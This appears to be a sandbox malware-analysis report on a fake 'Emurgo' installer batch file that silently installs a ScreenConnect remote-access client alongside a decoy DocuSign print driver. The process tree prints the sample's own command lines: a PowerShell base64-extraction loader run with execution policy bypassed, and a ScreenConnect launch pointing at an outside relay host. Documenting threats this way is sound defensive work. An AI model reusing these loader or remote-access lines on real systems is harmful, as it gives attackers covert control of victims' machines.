Overview

overview

8

Static

static

1

Emurgo-Ins....3.bat

windows10-2004-x64

8

Emurgo-Ins....3.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 12:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Emurgo-Installer-Winx64-Setup-v2.5.3.bat
  • Size 11.5MB
  • Sample261113-pda4babv4k
  • SHA256 6d92cd6c4ef3be62cd2d5b9ac48376b79cd957aa5696d0f11ba10d7ebe77d9ae
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarebackdoordefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwareratrevoked_codesignspywaretrojan

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Manipulates Digital Signatures 1 TTPs 1 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 55 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 57 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Emurgo-Installer-Winx64-Setup-v2.5.3.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\system32\fltMC.exe
      fltmc
      2⤵
        PID:2028
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4148
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi'; $e=Join-Path -Path $env:TD -ChildPath 'SecondInstaller.exe'; if((Get-FileHash -Algorithm SHA256 -LiteralPath $m).Hash -ne '2D52C49CFFE1A117795404F5695A8763579A05CE0EE3EB2A8AD2C0A38AEBDE8A'){exit 2}; if((Get-FileHash -Algorithm SHA256 -LiteralPath $e).Hash -ne '7AD243CD358D916E029BA8FF9A616DFDCAB29B594A9EBF08A66A1C4BD63FB7E2'){exit 3}"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4384
      • C:\Windows\system32\msiexec.exe
        msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool_2252826218\SC_FeedbackTool.msi" /quiet /norestart /L*V "C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool-install.log"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:240
      • C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool_2252826218\SecondInstaller.exe
        "C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool_2252826218\SecondInstaller.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5360
        • C:\Windows\Temp\{88D11A9C-1AB5-43E0-A509-EE194A4F354B}\.cr\SecondInstaller.exe
          "C:\Windows\Temp\{88D11A9C-1AB5-43E0-A509-EE194A4F354B}\.cr\SecondInstaller.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\SC_FeedbackTool_2252826218\SecondInstaller.exe" -burn.filehandle.attached=612 -burn.filehandle.self=716
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Windows\Temp\{1597099D-BB37-4243-BBB0-2F3065D76B06}\.be\Docusign Print Driver x64.exe
            "C:\Windows\Temp\{1597099D-BB37-4243-BBB0-2F3065D76B06}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{98A12733-56E5-4762-BDA1-315E4D3AFAC8} {79563809-F41B-4EED-B13F-3FD0976E9C7B} 1656
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Modifies system certificate store
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:5320
            • C:\Windows\SysWOW64\explorer.exe
              explorer "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4532
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4368
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C16B1C55021A7C7271CF5DC88300E4E5
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4176
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI4B19.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240734593 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:2260
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3B8DA395880E75CEB4BA70A962AA4748 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3928
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 17B188A74BC9395685A080F7691ADECF C
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5104
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIDE8F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240770921 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
          3⤵
          • Loads dropped DLL
          PID:2336
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0BF833FBB2A6BB9A761760571EE6C535 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2560
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3042F11639A9B2B90233A00E84845297
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4372
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 8144819DD41A22ED36D4416325198EEB C
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2692
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIC46.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240782546 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
          3⤵
          • Loads dropped DLL
          PID:5780
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 784BA406CB94F6A456719B190E34BAD9
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetWindowsHookEx
        PID:3536
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4CDB9830F18B698F936CF7813814FD5F C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1696
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 24137D674522B8A1EB93170AF198065D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:5608
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 35541B900E1F13FC298A0E59E8875B66 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Checks SCSI registry key(s)
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:5024
      • C:\Windows\system32\NET.exe
        NET STOP SPOOLER
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4992
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 STOP SPOOLER
          3⤵
            PID:4400
        • C:\Windows\system32\NET.exe
          NET START SPOOLER
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5796
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 START SPOOLER
            3⤵
              PID:980
          • C:\Windows\system32\rundll32.exe
            rundll32 printui.dll,PrintUIEntry /q /dd /m "DocuSignPrintDriver"
            2⤵
              PID:4440
            • C:\Windows\system32\rundll32.exe
              rundll32 printui.dll,PrintUIEntry /if /b "Print to Docusign" /f "C:\Program Files\Docusign\Print Driver\\Driver\DocuSignPrintDriver.inf" /r "nul:" /m "DocuSignPrintDriver"
              2⤵
              • Modifies data under HKEY_USERS
              PID:4848
            • C:\Windows\syswow64\MsiExec.exe
              C:\Windows\syswow64\MsiExec.exe -Embedding E17AA7A30987AA6CEEB4B7EF2110DF58
              2⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:3920
            • C:\Windows\System32\MsiExec.exe
              C:\Windows\System32\MsiExec.exe -Embedding 7B01EA8292D38912C0A0C2D032344B6A
              2⤵
              • Loads dropped DLL
              • Suspicious use of SetWindowsHookEx
              PID:1872
            • C:\Windows\syswow64\MsiExec.exe
              C:\Windows\syswow64\MsiExec.exe -Embedding 49B7F1CACDEFA44E4961784D9CBC702B E Global\MSI0000
              2⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:2828
          • C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.ClientService.exe
            "C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.lecoindudiabetique.com&p=8041&s=ec6aaa6f-f68f-4059-8f1a-421c5df69da0&k=BgIAAACkAABSU0ExAAgAAAEAAQA5wEggYWo%2bVv9q%2b4Y8kVjhp78OmO87iFZOrNIYhiUBNYfQA3YFn0zwKEb4O2sPy%2f%2bFDFLQi%2bq6y76%2bueZIE7BqYMiwyGw8wSVvsEg99jn0zDcWJBhMbJhs6OAXWD5ge4ZMCEOWUZoiu4M1zLtrSXkA35A%2bTlrLtfglPOZMiJTwYDQsUgFXmEP5T5TEuzUUkIGEcEE0vr2m6kcDNU9ayQJ%2fgIUeO9ZRVYHTsDuSeewh1esINHFU5DRFkf%2fPAgtfW%2furuDd0SP8NbNvLisGSQVCKqjy13braqYXg%2bpB1PQH4gFKTlmxcBU%2fAlpNgk6UtxSJj2Yb02couzym91jr4RFLC"
            1⤵
            • Sets service image path in registry
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3424
            • C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.WindowsClient.exe
              "C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.WindowsClient.exe" "RunRole" "635066b1-0ec3-4d7b-878e-99ec4cf07a6b" "User"
              2⤵
              • Executes dropped EXE
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:1520
            • C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.WindowsClient.exe
              "C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.WindowsClient.exe" "RunRole" "f55bfe1e-4da9-4919-831a-dcd7f32e80ac" "System"
              2⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • Checks processor information in registry
              • Modifies data under HKEY_USERS
              PID:1164
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Checks SCSI registry key(s)
            PID:1964
          • C:\Windows\system32\srtasks.exe
            C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
            1⤵
              PID:5720
            • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
              "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce
              1⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1336
              • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20261113121408.log"
                2⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:5668
                • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                  "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.filehandle.attached=556 -burn.filehandle.self=576 /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20261113121408.log"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:696
                  • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                    "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{A40D6477-643E-434C-BECA-53DBE9E49365} {66ACD7FA-1715-4781-B217-D00F2786D590} 696
                    4⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Enumerates connected drives
                    • System Location Discovery: System Language Discovery
                    • Modifies registry class
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of WriteProcessMemory
                    PID:2452
                    • C:\Windows\explorer.exe
                      explorer "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
                      5⤵
                        PID:5892
              • C:\Windows\system32\DrvInst.exe
                DrvInst.exe "4" "1" "C:\Program Files\Docusign\Print Driver\Driver\DocuSignPrintDriver.inf" "9" "4a43c781f" "0000000000000194" "WinSta0\Default" "0000000000000198" "208" "C:\Program Files\Docusign\Print Driver\Driver"
                1⤵
                • Manipulates Digital Signatures
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Checks SCSI registry key(s)
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:3276
                • C:\Windows\system32\rundll32.exe
                  rundll32.exe C:\Windows\system32\pnpui.dll,InstallSecurityPromptRunDllW 20 Global\{B6EE62FD-80C5-449F-8793-02058C9D2542} Global\{6948001D-A25B-4E43-B29A-2ED0D865DCA9} C:\Windows\System32\DriverStore\Temp\{5983bf55-c1ba-0247-8cae-50ef1d0d4957}\DocuSignPrintDriver.inf C:\Windows\System32\DriverStore\Temp\{5983bf55-c1ba-0247-8cae-50ef1d0d4957}\DocuSignPrintDriver.cat
                  2⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  PID:3028
              • C:\PROGRA~1\Docusign\PRINTD~1\DocuSign.PrintDriverApplication.exe
                C:\PROGRA~1\Docusign\PRINTD~1\DOCUSI~1.EXE
                1⤵
                • Executes dropped EXE
                PID:4260
              • C:\Windows\System32\spoolsv.exe
                C:\Windows\System32\spoolsv.exe
                1⤵
                • Boot or Logon Autostart Execution: Port Monitors
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Checks SCSI registry key(s)
                • Modifies data under HKEY_USERS
                PID:936
              • C:\Windows\system32\DrvInst.exe
                DrvInst.exe "4" "d" "C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf" "9" "43057df13" "00000000000000E0" "WinSta0\Default" "0000000000000114" "208" "C:\Windows\system32\spool\tools\Microsoft Print To PDF"
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Modifies data under HKEY_USERS
                PID:2548
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                1⤵
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:5924
                • C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                  "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:6092
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:3180
                • C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                  "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
                  2⤵
                  • Executes dropped EXE
                  • Drops file in Program Files directory
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3136

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    2
                    T1059

                    PowerShell

                    1
                    T1059.001

                    Windows Command Shell

                    1
                    T1059.003

                    Persistence

                    Boot or Logon Autostart Execution

                    4
                    T1547

                    Authentication Package

                    1
                    T1547.002

                    Port Monitors

                    1
                    T1547.010

                    Registry Run Keys / Startup Folder

                    2
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Event Triggered Execution

                    1
                    T1546

                    Component Object Model Hijacking

                    1
                    T1546.015

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    4
                    T1547

                    Authentication Package

                    1
                    T1547.002

                    Port Monitors

                    1
                    T1547.010

                    Registry Run Keys / Startup Folder

                    2
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Event Triggered Execution

                    1
                    T1546

                    Component Object Model Hijacking

                    1
                    T1546.015

                    Defense Evasion

                    Modify Registry

                    4
                    T1112

                    Subvert Trust Controls

                    2
                    T1553

                    Install Root Certificate

                    1
                    T1553.004

                    SIP and Trust Provider Hijacking

                    1
                    T1553.003

                    Credential Access

                    Discovery

                    Peripheral Device Discovery

                    2
                    T1120

                    Query Registry

                    5
                    T1012

                    System Information Discovery

                    4
                    T1082

                    System Location Discovery

                    1
                    T1614

                    System Language Discovery

                    1
                    T1614.001

                    System Network Configuration Discovery

                    1
                    T1016

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    e5948ca.rbs
                    • Path C:\Config.Msi\e5948ca.rbs
                    • Size 214KB
                    • SHA256 3403341e67a6e10e0679aa840b5d54f471644e4e861fcc79ed03216b211ef777
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    e5948cd.rbs
                    • Path C:\Config.Msi\e5948cd.rbs
                    • Size 710KB
                    • SHA256 6cba378a9b1bd8b50dff7c25fece0662517a3a95bcc6c9c2be24def9d5a061bf
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    e5948cf.rbs
                    • Path C:\Config.Msi\e5948cf.rbs
                    • Size 5KB
                    • SHA256 58bfaf6781683ad0e61ff1c0f36b653e06fa199a9b8b80665dcd00e2a8a4c152
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    Client.Override.en-US.resources
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\Client.Override.en-US.resources
                    • Size 298B
                    • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    Client.Override.resources
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\Client.Override.resources
                    • Size 25KB
                    • SHA256 08ef947cc485b9c7e02f0f0e2ab3d3769f307c366ee5658fa2ce7c42f824ebfd
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    Client.en-US.resources
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\Client.en-US.resources
                    • Size 48KB
                    • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    Client.resources
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\Client.resources
                    • Size 28KB
                    • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ScreenConnect.Client.dll
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.Client.dll
                    • Size 192KB
                    • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ScreenConnect.ClientService.dll
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.ClientService.dll
                    • Size 66KB
                    • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ScreenConnect.ClientService.exe
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.ClientService.exe
                    • Size 93KB
                    • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ScreenConnect.WindowsAuthenticationPackage.dll
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.WindowsAuthenticationPackage.dll
                    • Size 254KB
                    • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ScreenConnect.WindowsClient.exe
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.WindowsClient.exe
                    • Size 593KB
                    • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ScreenConnect.WindowsClient.exe.config
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.WindowsClient.exe.config
                    • Size 266B
                    • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    ScreenConnect.WindowsCredentialProvider.dll
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\ScreenConnect.WindowsCredentialProvider.dll
                    • Size 837KB
                    • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    app.config
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\app.config
                    • Size 1KB
                    • SHA256 92aa0b705f755cecf70dd713990db5461df6b7a7c650c77c9a79f43a2d92a6f4
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    system.config
                    • Path C:\Program Files (x86)\ScreenConnect Client (a8be1fe898c53ce7)\system.config
                    • Size 958B
                    • SHA256 1415ca0c69c31c821d72826ee13d8ed342a5738f4c6e5d91f66af1b4c336976a
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    zh-cn.mst
                    • Path C:\ProgramData\Package Cache\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0\zh-cn.mst
                    • Size 28KB
                    • SHA256 e55ffe8a6eef0c42bdf1881e95461ef735230c25aebeb31d9e915a1243adb1e0
